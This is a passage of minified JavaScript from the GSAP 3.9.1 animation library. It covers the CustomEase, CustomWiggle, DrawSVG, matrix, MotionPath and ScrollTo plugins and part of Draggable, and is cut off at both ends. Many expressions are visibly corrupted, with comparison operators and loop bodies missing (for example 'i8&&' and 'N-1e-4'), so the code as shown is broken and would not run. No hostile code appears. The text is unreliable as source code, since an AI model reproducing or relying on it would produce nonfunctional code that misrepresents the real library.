r,i,o,s,a,u,l,h,c,f,p,d,g,D,m,v,_,y=~~t.resolution||12,x=1/y,w=n?e+6*n+1:t.length,C=t[e],F=t[e+1],E=e?e/6*y:0,b=t.samples,T=t.lookup,M=(e?t.minLength:1e8)||1e8,A=b[E+n*y-1],P=e?b[E-1]:0;for(b.length=T.length=0,i=e+2;i8&&(t.splice(i,6),i-=6,w-=6);else for(r=1;r<=y;r++)u=l-(l=((D=x*r)*D*o+3*(g=1-D)*(D*s+g*a))*D),p=d-(d=(D*D*h+3*g*(D*c+g*f))*D),(v=Br(p*p+u*u))=1)return 0;var r=t[e],i=t[e+1],o=t[e+2],s=t[e+3],a=t[e+4],u=t[e+5],l=r+(o-r)*n,h=o+(a-o)*n,c=i+(s-i)*n,f=s+(u-s)*n,p=l+(h-l)*n,d=c+(f-c)*n,g=a+(t[e+6]-a)*n,D=u+(t[e+7]-u)*n;return h+=(g-h)*n,f+=(D-f)*n,t.splice(e+2,4,zr(l),zr(c),zr(p),zr(d),zr(p+(h-p)*n),zr(d+(f-d)*n),zr(h),zr(f),zr(g),zr(D)),t.samples&&t.samples.splice(e/6*t.resolution|0,0,0,0,0,0,0,0),6}function ni(t,e,n,r){n=n||{},t.totalLength||ti(t),(e<0||e>1)&&(e=Ir(e));var i,o,s,a,u,l,h,c=0,f=t[0];if(e)if(1===e)h=1,l=(f=t[c=t.length-1]).length-8;else{if(t.length>1){for(s=t.totalLength*e,u=l=0;(u+=t[l++].totalLength)1)&&(e=Ir(e)),t.length>1){for(s=t.totalLength*e,u=l=0;(u+=t[l++].totalLength)=1?1-1e-9:h||1e-9):p.angle||0),d}function ii(t,e,n,r,i,o,s){for(var a,u,l,h,c,f=t.length;--f>-1;)for(u=(a=t[f]).length,l=0;l1&&(n=Br(y)*n,r=Br(y)*r);var x=n*n,w=r*r,C=(x*w-x*_-w*v)/(x*_+w*v);C<0&&(C=0);var F=(o===s?-1:1)*Br(C),E=F*(n*m/r),b=F*(-r*D/n),T=(t+a)/2+(h*E-c*b),M=(e+u)/2+(c*E+h*b),A=(D-E)/n,P=(m-b)/r,S=(-D-E)/n,O=(-m-b)/r,k=A*A+P*P,B=(P<0?-1:1)*Math.acos(A/Br(k)),L=(A*O-P*S<0?-1:1)*Math.acos((A*S+P*O)/Br(k*(S*S+O*O)));isNaN(L)&&(L=f),!s&&L>0?L-=p:s&&L<0&&(L+=p),B%=p,L%=p;var N,R=Math.ceil(kr(L)/(p/4)),X=[],Y=L/R,I=4/3*Sr(Y/2)/(1+Or(Y/2)),z=h*n,H=c*n,W=c*-r,V=h*r;for(N=0;N-1e-4?0:e})).match(Er)||[],m=[],v=0,_=0,y=D.length,x=0,w="ERROR: malformed path: "+t,C=function(t,e,n,r){h=(n-t)/3,c=(r-e)/3,a.push(t+h,e+c,n-h,r-c,n,r)};if(!t||!isNaN(D[0])||isNaN(D[1]))return console.log(w),m;for(e=0;e.5||kr(_-i)>.5)&&(C(v,_,r,i),"L"===o&&(e+=2)),v=r,_=i;else if("A"===o){if(d=D[e+4],g=D[e+5],h=D[e+6],c=D[e+7],n=7,d.length>1&&(d.length<3?(c=h,h=g,n--):(c=g,h=d.substr(2),n-=2),g=d.charAt(1),d=d.charAt(0)),f=oi(v,_,+D[e+1],+D[e+2],+D[e+3],+d,+g,(s?v:0)+1*h,(s?_:0)+1*c),e+=n,f)for(n=0;nn?(s=Lr(c,l),w.push(zr(v-Or(s)*f),zr(_-Sr(s)*f),zr(v),zr(_),zr(v+Or(s)*p),zr(_+Sr(s)*p))):(s=Lr(h,u),w.push(zr(v-Or(s)*f),zr(_-Sr(s)*f)),s=Lr(F,C),w.push(zr(v),zr(_),zr(v+Or(s)*p),zr(_+Sr(s)*p)))));return v!==y||_!==x||w.length<4?w.push(zr(y),zr(x),zr(y),zr(x)):w.length-=2,E&&(w.splice(0,6),w.length=w.length-6),w}function li(t){Rr(t[0])&&(t=[t]);var e,n,r,i,o="",s=t.length;for(n=0;nl*(E*E+b*b)&&(f=h.length,t(e,n,p,d,_,y,C,F,l,h,c),t(C,F,x,w,m,v,a,u,l,h,c+1+(h.length-f))),h},vi=function(){function t(t,e,n){ci||pi(),this.id=t,this.setData(e,n)}var e=t.prototype;return e.setData=function(t,e){e=e||{};var n,r,i,o,s,a,u,l,h,c=(t=t||"0,0,1,1").match(gi),f=1,p=[],d=[],g=e.precision||1,D=g<=1;if(this.data=t,(Di.test(t)||~t.indexOf("M")&&t.indexOf("C")<0)&&(c=si(t)[0]),4===(n=c.length))c.unshift(0,0),c.push(1,1),n=8;else if((n-2)%6)throw"Invalid CustomEase";for(0==+c[0]&&1==+c[n-2]||function(t,e,n){n||0===n||(n=Math.max(+t[t.length-1],+t[1]));var r,i=-1*+t[0],o=-n,s=t.length,a=1/(+t[s-2]+i),u=-e||(Math.abs(+t[s-1]-+t[1])<.01*(+t[s-2]-+t[0])?function(t){var e,n=t.length,r=1e20;for(e=1;el.x||l.y!==u.y&&l.x===u.x||u===l)&&u.x<=1?(l.cx=u.x-l.x,l.cy=u.y-l.y,l.n=u,l.nx=u.x,D&&o>1&&Math.abs(l.cy/l.cx-p[o-2].cy/p[o-2].cx)>2&&(D=0),l.cxh||o===l-1)&&(r.push(c,f),i=(u-f)/(a-c)),c=a,f=u;r="M"+r.join(",")}return m&&m.setAttribute("d",r),r},t}();fi()&&hi.registerPlugin(vi),vi.version="3.9.1"; /*! * CustomWiggle 3.9.1 * https://greensock.com * * @license Copyright 2008-2021, GreenSock. All rights reserved. * Subject to the terms at https://greensock.com/standard-license or for * Club GreenSock members, the agreement issued with that membership. * @author: Jack Doyle, jack@greensock.com */ var _i,yi,xi,wi=function(){return _i||"undefined"!=typeof window&&(_i=window.gsap)&&_i.registerPlugin&&_i},Ci={easeOut:"M0,1,C0.7,1,0.6,0,1,0",easeInOut:"M0,0,C0.1,0,0.24,1,0.444,1,0.644,1,0.6,0,1,0",anticipate:"M0,0,C0,0.222,0.024,0.386,0,0.4,0.18,0.455,0.65,0.646,0.7,0.67,0.9,0.76,1,0.846,1,1",uniform:"M0,0,C0,0.95,0,1,0,1,0,1,1,1,1,1,1,1,1,0,1,0"},Fi=function(t){return t},Ei=function(t){if(!yi)if(_i=wi(),xi=_i&&_i.parseEase("_CE")){for(var e in Ci)Ci[e]=xi("",Ci[e]);yi=1,Ti("wiggle").config=function(t){return"object"==typeof t?Ti("",t):Ti("wiggle("+t+")",{wiggles:+t})}}else t&&console.warn("Please gsap.registerPlugin(CustomEase, CustomWiggle)")},bi=function(t,e){return"function"!=typeof t&&(t=_i.parseEase(t)||xi("",t)),t.custom||!e?t:function(e){return 1-t(e)}},Ti=function(t,e){yi||Ei(1);var n,r,i,o,s,a,u,l,h,c=0|((e=e||{}).wiggles||10),f=1/c,p=f/2,d="anticipate"===e.type,g=Ci[e.type]||Ci.easeOut,D=Fi;if(d&&(D=g,g=Ci.easeOut),e.timingEase&&(D=bi(e.timingEase)),e.amplitudeEase&&(g=bi(e.amplitudeEase,!0)),l=[0,0,(a=D(p))/4,0,a/2,u=d?-g(p):g(p),a,u],"random"===e.type){for(l.length=4,n=D(f),r=2*Math.random()-1,h=2;h0?-1:1)*g(h*f),a=D(p),l.push(D(p-f/2),u,a,u);l.push(D(p+f/4),u,D(p+f/4),0,1,0)}for(h=l.length;--h>-1;)l[h]=~~(1e3*l[h])/1e3;return l[2]="C"+l[2],xi(t,"M"+l.join(","))},Mi=function(){function t(t,e){this.ease=Ti(t,e)}return t.create=function(t,e){return Ti(t,e)},t.register=function(t){_i=t,Ei()},t}();wi()&&_i.registerPlugin(Mi),Mi.version="3.9.1"; /*! * DrawSVGPlugin 3.9.1 * https://greensock.com * * @license Copyright 2008-2021, GreenSock. All rights reserved. * Subject to the terms at https://greensock.com/standard-license or for * Club GreenSock members, the agreement issued with that membership. * @author: Jack Doyle, jack@greensock.com */ var Ai,Pi,Si,Oi,ki,Bi=function(){return"undefined"!=typeof window},Li=function(){return Ai||Bi()&&(Ai=window.gsap)&&Ai.registerPlugin&&Ai},Ni=/[-+=\.]*\d+[\.e\-\+]*\d*[e\-\+]*\d*/gi,Ri={rect:["width","height"],circle:["r","r"],ellipse:["rx","ry"],line:["x2","y2"]},Xi=function(t){return Math.round(1e4*t)/1e4},Yi=function(t){return parseFloat(t)||0},Ii=function(t,e){var n=Yi(t);return~t.indexOf("%")?n/100*e:n},zi=function(t,e){return Yi(t.getAttribute(e))},Hi=Math.sqrt,Wi=function(t,e,n,r,i,o){return Hi(Math.pow((Yi(n)-Yi(t))*i,2)+Math.pow((Yi(r)-Yi(e))*o,2))},Vi=function(t){return console.warn(t)},ji=function(t){return"non-scaling-stroke"===t.getAttribute("vector-effect")},Ui=function(t){if(!(t=Pi(t)[0]))return 0;var e,n,r,i,o,s,a,u=t.tagName.toLowerCase(),l=t.style,h=1,c=1;ji(t)&&(c=t.getScreenCTM(),h=Hi(c.a*c.a+c.b*c.b),c=Hi(c.d*c.d+c.c*c.c));try{n=t.getBBox()}catch(t){Vi("Some browsers won't measure invisible elements (like display:none or masks inside defs).")}var f=n||{x:0,y:0,width:0,height:0},p=f.x,d=f.y,g=f.width,D=f.height;if(n&&(g||D)||!Ri[u]||(g=zi(t,Ri[u][0]),D=zi(t,Ri[u][1]),"rect"!==u&&"line"!==u&&(g*=2,D*=2),"line"===u&&(p=zi(t,"x1"),d=zi(t,"y1"),g=Math.abs(g-p),D=Math.abs(D-d))),"path"===u)i=l.strokeDasharray,l.strokeDasharray="none",e=t.getTotalLength()||0,h!==c&&Vi("Warning: length cannot be measured when vector-effect is non-scaling-stroke and the element isn't proportionally scaled."),e*=(h+c)/2,l.strokeDasharray=i;else if("rect"===u)e=2*g*h+2*D*c;else if("line"===u)e=Wi(p,d,p+g,d+D,h,c);else if("polyline"===u||"polygon"===u)for(r=t.getAttribute("points").match(Ni)||[],"polygon"===u&&r.push(r[0],r[1]),e=0,o=2;oe&&(r=e),[-i||0,r-i||0]},Gi=function(){Bi()&&(document,Si=window,ki=Ai=Li(),Pi=Ai.utils.toArray,Oi=-1!==((Si.navigator||{}).userAgent||"").indexOf("Edge"))},Ki={version:"3.9.1",name:"drawSVG",register:function(t){Ai=t,Gi()},init:function(t,e,n,r,i){if(!t.getBBox)return!1;ki||Gi();var o,s,a,u=Ui(t);return this._style=t.style,this._target=t,e+""=="true"?e="0 100%":e?-1===(e+"").indexOf(" ")&&(e="0 "+e):e="0 0",s=function(t,e,n){var r,i,o=t.indexOf(" ");return o<0?(r=void 0!==n?n+"":t,i=t):(r=t.substr(0,o),i=t.substr(o+1)),(r=Ii(r,e))>(i=Ii(i,e))?[i,r]:[r,i]}(e,u,(o=qi(t,u))[0]),this._length=Xi(u),this._dash=Xi(o[1]-o[0]),this._offset=Xi(-o[0]),this._dashPT=this.add(this,"_dash",this._dash,Xi(s[1]-s[0])),this._offsetPT=this.add(this,"_offset",this._offset,Xi(-s[0])),Oi&&(a=Si.getComputedStyle(t)).strokeLinecap!==a.strokeLinejoin&&(s=Yi(a.strokeMiterlimit),this.add(t.style,"strokeMiterlimit",s,s+.01)),this._live=ji(t)||~(e+"").indexOf("live"),this._nowrap=~(e+"").indexOf("nowrap"),this._props.push("drawSVG"),1},render:function(t,e){var n,r,i,o,s=e._pt,a=e._style;if(s){for(e._live&&(n=Ui(e._target))!==e._length&&(r=n/e._length,e._length=n,e._offsetPT&&(e._offsetPT.s*=r,e._offsetPT.c*=r),e._dashPT?(e._dashPT.s*=r,e._dashPT.c*=r):e._dash*=r);s;)s.r(t,s.d),s=s._next;i=e._dash||t&&1!==t&&1e-4||0,n=e._length-i+.1,o=e._offset,i&&o&&i+Math.abs(o%e._length)>e._length-.2&&(o+=o<0?.1:-.1)&&(n+=.1),a.strokeDashoffset=i?o:o+.001,a.strokeDasharray=n<.2?"none":i?i+"px,"+(e._nowrap?999999:n)+"px":"0px, 999999px"}},getLength:Ui,getPosition:qi};Li()&&Ai.registerPlugin(Ki); /*! * matrix 3.9.1 * https://greensock.com * * Copyright 2008-2021, GreenSock. All rights reserved. * Subject to the terms at https://greensock.com/standard-license or for * Club GreenSock members, the agreement issued with that membership. * @author: Jack Doyle, jack@greensock.com */ var Qi,Zi,$i,Ji,to,eo,no,ro,io,oo="transform",so=oo+"Origin",ao=function(t){var e=t.ownerDocument||t;!(oo in t.style)&&"msTransform"in t.style&&(so=(oo="msTransform")+"Origin");for(;e.parentNode&&(e=e.parentNode););if(Zi=window,no=new go,e){Qi=e,$i=e.documentElement,Ji=e.body,(ro=Qi.createElementNS("http://www.w3.org/2000/svg","g")).style.transform="none";var n=e.createElement("div"),r=e.createElement("div");Ji.appendChild(n),n.appendChild(r),n.style.position="static",n.style[oo]="translate3d(0,0,1px)",io=r.offsetParent!==n,Ji.removeChild(n)}return e},uo=[],lo=[],ho=function(t){return t.ownerSVGElement||("svg"===(t.tagName+"").toLowerCase()?t:null)},co=function t(e,n){if(e.parentNode&&(Qi||ao(e))){var r=ho(e),i=r?r.getAttribute("xmlns")||"http://www.w3.org/2000/svg":"http://www.w3.org/1999/xhtml",o=r?n?"rect":"g":"div",s=2!==n?0:100,a=3===n?100:0,u="position:absolute;display:block;pointer-events:none;margin:0;padding:0;",l=Qi.createElementNS?Qi.createElementNS(i.replace(/^https/,"http"),o):Qi.createElement(o);return n&&(r?(eo||(eo=t(e)),l.setAttribute("width",.01),l.setAttribute("height",.01),l.setAttribute("transform","translate("+s+","+a+")"),eo.appendChild(l)):(to||((to=t(e)).style.cssText=u),l.style.cssText=u+"width:0.1px;height:0.1px;top:"+a+"px;left:"+s+"px",to.appendChild(l))),l}throw"Need document and parent."},fo=function(t,e){var n,r,i,o,s,a,u=ho(t),l=t===u,h=u?uo:lo,c=t.parentNode;if(t===Zi)return t;if(h.length||h.push(co(t,1),co(t,2),co(t,3)),n=u?eo:to,u)l?(o=-(i=function(t){var e,n=t.getCTM();return n||(e=t.style[oo],t.style[oo]="none",t.appendChild(ro),n=ro.getCTM(),t.removeChild(ro),e?t.style[oo]=e:t.style.removeProperty(oo.replace(/([A-Z])/g,"-$1").toLowerCase())),n||no.clone()}(t)).e/i.a,s=-i.f/i.d,r=no):(i=t.getBBox(),o=(r=(r=t.transform?t.transform.baseVal:{}).numberOfItems?r.numberOfItems>1?function(t){for(var e=new go,n=0;n4&&(o=i.offsetLeft,s=i.offsetTop,i=0);if("absolute"!==(a=Zi.getComputedStyle(t)).position&&"fixed"!==a.position)for(r=t.offsetParent;c&&c!==r;)o+=c.scrollLeft||0,s+=c.scrollTop||0,c=c.parentNode;(i=n.style).top=t.offsetTop-s+"px",i.left=t.offsetLeft-o+"px",i[oo]=a[oo],i[so]=a[so],i.position="fixed"===a.position?"fixed":"absolute",t.parentNode.appendChild(n)}return n},po=function(t,e,n,r,i,o,s){return t.a=e,t.b=n,t.c=r,t.d=i,t.e=o,t.f=s,t},go=function(){function t(t,e,n,r,i,o){void 0===t&&(t=1),void 0===e&&(e=0),void 0===n&&(n=0),void 0===r&&(r=1),void 0===i&&(i=0),void 0===o&&(o=0),po(this,t,e,n,r,i,o)}var e=t.prototype;return e.inverse=function(){var t=this.a,e=this.b,n=this.c,r=this.d,i=this.e,o=this.f,s=t*r-e*n||1e-10;return po(this,r/s,-e/s,-n/s,t/s,(n*o-r*i)/s,-(t*o-e*i)/s)},e.multiply=function(t){var e=this.a,n=this.b,r=this.c,i=this.d,o=this.e,s=this.f,a=t.a,u=t.c,l=t.b,h=t.d,c=t.e,f=t.f;return po(this,a*e+l*r,a*n+l*i,u*e+h*r,u*n+h*i,o+c*e+f*r,s+c*n+f*i)},e.clone=function(){return new t(this.a,this.b,this.c,this.d,this.e,this.f)},e.equals=function(t){var e=this.a,n=this.b,r=this.c,i=this.d,o=this.e,s=this.f;return e===t.a&&n===t.b&&r===t.c&&i===t.d&&o===t.e&&s===t.f},e.apply=function(t,e){void 0===e&&(e={});var n=t.x,r=t.y,i=this.a,o=this.b,s=this.c,a=this.d,u=this.e,l=this.f;return e.x=n*i+r*s+u||0,e.y=n*o+r*a+l||0,e},t}();function Do(t,e,n,r){if(!t||!t.parentNode||(Qi||ao(t)).documentElement===t)return new go;var i=function(t){for(var e,n;t&&t!==Ji;)(n=t._gsap)&&n.uncache&&n.get(t,"x"),n&&!n.scaleX&&!n.scaleY&&n.renderTransform&&(n.scaleX=n.scaleY=1e-4,n.renderTransform(1,n),e?e.push(n):e=[n]),t=t.parentNode;return e}(t),o=ho(t)?uo:lo,s=fo(t,n),a=o[0].getBoundingClientRect(),u=o[1].getBoundingClientRect(),l=o[2].getBoundingClientRect(),h=s.parentNode,c=!r&&function t(e){return"fixed"===Zi.getComputedStyle(e).position||((e=e.parentNode)&&1===e.nodeType?t(e):void 0)}(t),f=new go((u.left-a.left)/100,(u.top-a.top)/100,(l.left-a.left)/100,(l.top-a.top)/100,a.left+(c?0:Zi.pageXOffset||Qi.scrollLeft||$i.scrollLeft||Ji.scrollLeft||0),a.top+(c?0:Zi.pageYOffset||Qi.scrollTop||$i.scrollTop||Ji.scrollTop||0));if(h.removeChild(s),i)for(a=i.length;a--;)(u=i[a]).scaleX=u.scaleY=0,u.renderTransform(1,u);return e?f.inverse():f} /*! * MotionPathPlugin 3.9.1 * https://greensock.com * * @license Copyright 2008-2021, GreenSock. All rights reserved. * Subject to the terms at https://greensock.com/standard-license or for * Club GreenSock members, the agreement issued with that membership. * @author: Jack Doyle, jack@greensock.com */var mo,vo,_o,yo,xo="x,translateX,left,marginLeft,xPercent".split(","),wo="y,translateY,top,marginTop,yPercent".split(","),Co=Math.PI/180,Fo=function(t,e,n,r){for(var i=e.length,o=2===r?0:r,s=0;s1?t=1:t<0&&(t=0);r--;)ri(n[r],t,!r&&e.rotate,n[r]);for(;i;)i.set(i.t,i.p,i.path[i.pp]+i.u,i.d,t),i=i._next;e.rotate&&e.rSet(e.target,e.rProp,n[0].angle*(e.radians?Co:1)+e.rOffset+e.ru,e,t)},getLength:function(t){return ti(qr(t)).totalLength},sliceRawPath:$r,getRawPath:qr,pointsToSegment:ui,stringToRawPath:si,rawPathToString:li,transformRawPath:ii,getGlobalMatrix:Do,getPositionOnPath:ri,cacheRawPathMeasurements:ti,convertToPath:function(t,e){return yo(t).map((function(t){return Qr(t,!1!==e)}))},convertCoordinates:function(t,e,n){var r=Do(e,!0,!0).multiply(Do(t));return n?r.apply(n):r},getAlignMatrix:So,getRelativePosition:function(t,e,n,r){var i=So(t,e,n,r);return{x:i.e,y:i.f}},arrayToRawPath:function(t,e){var n=Fo(Fo([],t,(e=e||{}).x||"x",0),t,e.y||"y",1);return e.relative&&bo(n),["cubic"===e.type?n:ui(n,e.curviness)]}};(mo||"undefined"!=typeof window&&(mo=window.gsap)&&mo.registerPlugin&&mo)&&mo.registerPlugin(Bo); /*! * ScrollToPlugin 3.9.1 * https://greensock.com * * @license Copyright 2008-2021, GreenSock. All rights reserved. * Subject to the terms at https://greensock.com/standard-license or for * Club GreenSock members, the agreement issued with that membership. * @author: Jack Doyle, jack@greensock.com */ var Lo,No,Ro,Xo,Yo,Io,zo,Ho=function(){return"undefined"!=typeof window},Wo=function(){return Lo||Ho()&&(Lo=window.gsap)&&Lo.registerPlugin&&Lo},Vo=function(t){return"string"==typeof t},jo=function(t){return"function"==typeof t},Uo=function(t,e){var n="x"===e?"Width":"Height",r="scroll"+n,i="client"+n;return t===Ro||t===Xo||t===Yo?Math.max(Xo[r],Yo[r])-(Ro["inner"+n]||Xo[i]||Yo[i]):t[r]-t["offset"+n]},qo=function(t,e){var n="scroll"+("x"===e?"Left":"Top");return t===Ro&&(null!=t.pageXOffset?n="page"+e.toUpperCase()+"Offset":t=null!=Xo[n]?Xo:Yo),function(){return t[n]}},Go=function(t,e){if(!(t=Io(t)[0])||!t.getBoundingClientRect)return console.warn("scrollTo target doesn't exist. Using 0")||{x:0,y:0};var n=t.getBoundingClientRect(),r=!e||e===Ro||e===Yo,i=r?{top:Xo.clientTop-(Ro.pageYOffset||Xo.scrollTop||Yo.scrollTop||0),left:Xo.clientLeft-(Ro.pageXOffset||Xo.scrollLeft||Yo.scrollLeft||0)}:e.getBoundingClientRect(),o={x:n.left-i.left,y:n.top-i.top};return!r&&e&&(o.x+=qo(e,"x")(),o.y+=qo(e,"y")()),o},Ko=function(t,e,n,r,i){return isNaN(t)||"object"==typeof t?Vo(t)&&"="===t.charAt(1)?parseFloat(t.substr(2))*("-"===t.charAt(0)?-1:1)+r-i:"max"===t?Uo(e,n)-i:Math.min(Uo(e,n),Go(t,e)[n]-i):parseFloat(t)-i},Qo=function(){Lo=Wo(),Ho()&&Lo&&document.body&&(Ro=window,Yo=document.body,Xo=document.documentElement,Io=Lo.utils.toArray,Lo.config({autoKillThreshold:7}),zo=Lo.config(),No=1)},Zo={version:"3.9.1",name:"scrollTo",rawVars:1,register:function(t){Lo=t,Qo()},init:function(t,e,n,r,i){No||Qo();var o=Lo.getProperty(t,"scrollSnapType");this.isWin=t===Ro,this.target=t,this.tween=n,e=function(t,e,n,r){if(jo(t)&&(t=t(e,n,r)),"object"!=typeof t)return Vo(t)&&"max"!==t&&"="!==t.charAt(1)?{x:t,y:t}:{y:t};if(t.nodeType)return{y:t,x:t};var i,o={};for(i in t)o[i]="onAutoKill"!==i&&jo(t[i])?t[i](e,n,r):t[i];return o}(e,r,t,i),this.vars=e,this.autoKill=!!e.autoKill,this.getX=qo(t,"x"),this.getY=qo(t,"y"),this.x=this.xPrev=this.getX(),this.y=this.yPrev=this.getY(),o&&"none"!==o&&(this.snap=1,this.snapInline=t.style.scrollSnapType,t.style.scrollSnapType="none"),null!=e.x?(this.add(this,"x",this.x,Ko(e.x,t,"x",this.x,e.offsetX||0),r,i),this._props.push("scrollTo_x")):this.skipX=1,null!=e.y?(this.add(this,"y",this.y,Ko(e.y,t,"y",this.y,e.offsetY||0),r,i),this._props.push("scrollTo_y")):this.skipY=1},render:function(t,e){for(var n,r,i,o,s,a=e._pt,u=e.target,l=e.tween,h=e.autoKill,c=e.xPrev,f=e.yPrev,p=e.isWin,d=e.snap,g=e.snapInline;a;)a.r(t,a.d),a=a._next;n=p||!e.skipX?e.getX():c,i=(r=p||!e.skipY?e.getY():f)-f,o=n-c,s=zo.autoKillThreshold,e.x<0&&(e.x=0),e.y<0&&(e.y=0),h&&(!e.skipX&&(o>s||o<-s)&&ns||i<-s)&&r2||i<-2)&&!r)return d=t.scrollLeft,$o.killTweensOf(this,{left:1,scrollLeft:1}),this.left(-d),void(e.onKill&&e.onKill());(n=-n)<0?(f=n-.5|0,n=0):n>v?(f=n-v|0,n=v):f=0,(f||o)&&(this._skip||(l[Es]=s+-f+"px,"+-c+a),f+m>=0&&(l.paddingRight=f+m+"px")),t.scrollLeft=0|n,d=t.scrollLeft},this.top=function(n,r){if(!arguments.length)return-(t.scrollTop+c);var i=t.scrollTop-p,o=c;if((i>2||i<-2)&&!r)return p=t.scrollTop,$o.killTweensOf(this,{top:1,scrollTop:1}),this.top(-p),void(e.onKill&&e.onKill());(n=-n)<0?(c=n-.5|0,n=0):n>_?(c=n-_|0,n=_):c=0,(c||o)&&(this._skip||(l[Es]=s+-f+"px,"+-c+a)),t.scrollTop=0|n,p=t.scrollTop},this.maxScrollTop=function(){return _},this.maxScrollLeft=function(){return v},this.disable=function(){for(h=u.firstChild;h;)o=h.nextSibling,t.appendChild(h),h=o;t===u.parentNode&&t.removeChild(u)},this.enable=function(){if((h=t.firstChild)!==u){for(;h;)o=h.nextSibling,u.appendChild(h),h=o;t.appendChild(u),this.calibrate()}},this.calibrate=function(e){var o,s,a,h=t.clientWidth===n;p=t.scrollTop,d=t.scrollLeft,h&&t.clientHeight===r&&u.offsetHeight===i&&g===t.scrollWidth&&D===t.scrollHeight&&!e||((c||f)&&(s=this.left(),a=this.top(),this.left(-t.scrollLeft),this.top(-t.scrollTop)),o=ia(t),h&&!e||(l.display="block",l.width="auto",l.paddingRight="0px",(m=Math.max(0,t.scrollWidth-t.clientWidth))&&(m+=parseFloat(o.paddingLeft)+(vs?parseFloat(o.paddingRight):0))),l.display="inline-block",l.position="relative",l.overflow="visible",l.verticalAlign="top",l.boxSizing="content-box",l.width="100%",l.paddingRight=m+"px",vs&&(l.paddingBottom=o.paddingBottom),n=t.clientWidth,r=t.clientHeight,g=t.scrollWidth,D=t.scrollHeight,v=t.scrollWidth-n,_=t.scrollHeight-r,i=u.offsetHeight,l.display="block",(s||a)&&(this.left(s),this.top(a)))},this.content=u,this.element=t,this._skip=!1,this.enable()},ga=function(t){if(_s()&&document.body){var e=window&&window.navigator;Jo=window,ts=document,es=ts.documentElement,ns=ts.body,rs=As("div"),Ds=!!window.PointerEvent,(is=As("div")).style.cssText="visibility:hidden;height:1px;top:-1px;pointer-events:none;position:relative;clear:both;cursor:grab",gs="grab"===is.style.cursor?"grab":"move",ps=e&&-1!==e.userAgent.toLowerCase().indexOf("android"),ls="ontouchstart"in es&&"orientation"in Jo||e&&(e.MaxTouchPoints>0||e.msMaxTouchPoints>0),r=As("div"),i=As("div"),o=i.style,s=ns,o.display="inline-block",o.position="relative",r.style.cssText=i.innerHTML="width:90px;height:40px;padding:10px;overflow:auto;visibility:hidden",r.appendChild(i),s.appendChild(r),n=i.offsetHeight+18>r.scrollHeight,s.removeChild(r),vs=n,hs=function(t){for(var e=t.split(","),n=(("onpointerdown"in rs?"pointerdown,pointermove,pointerup,pointercancel":"onmspointerdown"in rs?"MSPointerDown,MSPointerMove,MSPointerUp,MSPointerCancel":t).split(",")),r={},i=4;--i>-1;)r[e[i]]=n[i],r[n[i]]=e[i];try{es.addEventListener("test",null,Object.defineProperty({},"passive",{get:function(){us=1}}))}catch(t){}return r}("touchstart,touchmove,touchend,touchcancel"),js(ts,"touchcancel",Fs),js(Jo,"touchmove",Fs),ns&&ns.addEventListener("touchstart",Fs),js(ts,"contextmenu",(function(){for(var t in Bs)Bs[t].isPressed&&Bs[t].endDrag()})),$o=os=ys()}var n,r,i,o,s;$o?(ds=$o.plugins.inertia,ss=$o.utils.checkPrefix,Es=ss(Es),bs=ss(bs),as=$o.utils.toArray,ms=!!ss("perspective")):t&&console.warn("Please gsap.registerPlugin(Draggable)")},Da=function(t){var e,n;function r(e,n){var i;i=t.call(this)||this,os||ga(1),e=as(e)[0],ds||(ds=$o.plugins.inertia),i.vars=n=Is(n||{}),i.target=e,i.x=i.y=i.rotation=0,i.dragResistance=parseFloat(n.dragResistance)||0,i.edgeResistance=isNaN(n.edgeResistance)?1:parseFloat(n.edgeResistance)||0,i.lockAxis=n.lockAxis,i.autoScroll=n.autoScroll||0,i.lockedAxis=null,i.allowEventDefault=!!n.allowEventDefault,$o.getProperty(e,"x");var o,s,a,u,l,h,c,f,p,d,g,D,m,v,_,y,x,w,C,F,E,b,T,M,A,P,S,O,k,B,L,N,R=(n.type||"x,y").toLowerCase(),X=~R.indexOf("x")||~R.indexOf("y"),Y=-1!==R.indexOf("rotation"),I=Y?"rotation":X?"x":"left",z=X?"y":"top",H=!(!~R.indexOf("x")&&!~R.indexOf("left")&&"scroll"!==R),W=!(!~R.indexOf("y")&&!~R.indexOf("top")&&"scroll"!==R),V=n.minimumMovement||2,j=function(t){if(void 0===t)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return t}(i),U=as(n.trigger||n.handle||e),q={},G=0,K=!1,Q=n.autoScrollMarginTop||40,Z=n.autoScrollMarginRight||40,$=n.autoScrollMarginBottom||40,J=n.autoScrollMarginLeft||40,tt=n.clickableTest||fa,et=0,nt=e._gsap||$o.core.getCache(e),rt=function t(e){return"fixed"===ia(e).position||((e=e.parentNode)&&1===e.nodeType?t(e):void 0)}(e),it=function(t,n){return parseFloat(nt.get(e,t,n))},ot=e.ownerDocument||ts,st=function(t){return qs(t),t.stopImmediatePropagation&&t.stopImmediatePropagation(),!1},at=function t(n){if(j.autoScroll&&j.isDragging&&(K||x)){var r,i,o,a,u,l,h,c,p=e,d=15*j.autoScroll;for(K=!1,Ys.scrollTop=null!=Jo.pageYOffset?Jo.pageYOffset:null!=ot.documentElement.scrollTop?ot.documentElement.scrollTop:ot.body.scrollTop,Ys.scrollLeft=null!=Jo.pageXOffset?Jo.pageXOffset:null!=ot.documentElement.scrollLeft?ot.documentElement.scrollLeft:ot.body.scrollLeft,a=j.pointerX-Ys.scrollLeft,u=j.pointerY-Ys.scrollTop;p&&!i;)r=(i=ta(p.parentNode))?Ys:p.parentNode,o=i?{bottom:Math.max(es.clientHeight,Jo.innerHeight||0),right:Math.max(es.clientWidth,Jo.innerWidth||0),left:0,top:0}:r.getBoundingClientRect(),l=h=0,W&&((c=r._gsMaxScrollY-r.scrollTop)<0?h=c:u>o.bottom-$&&c?(K=!0,h=Math.min(c,d*(1-Math.max(0,o.bottom-u)/$)|0)):uo.right-Z&&c?(K=!0,l=Math.min(c,d*(1-Math.max(0,o.right-a)/Z)|0)):an?n+(i-n)*o:i-1;)(o=(i=t[s])-r)<0&&(o=-o),o=e&&i<=n&&(a=s,u=o);return t[a]}:isNaN(t)?function(t){return t}:function(){return t*r}},ht=function(){var 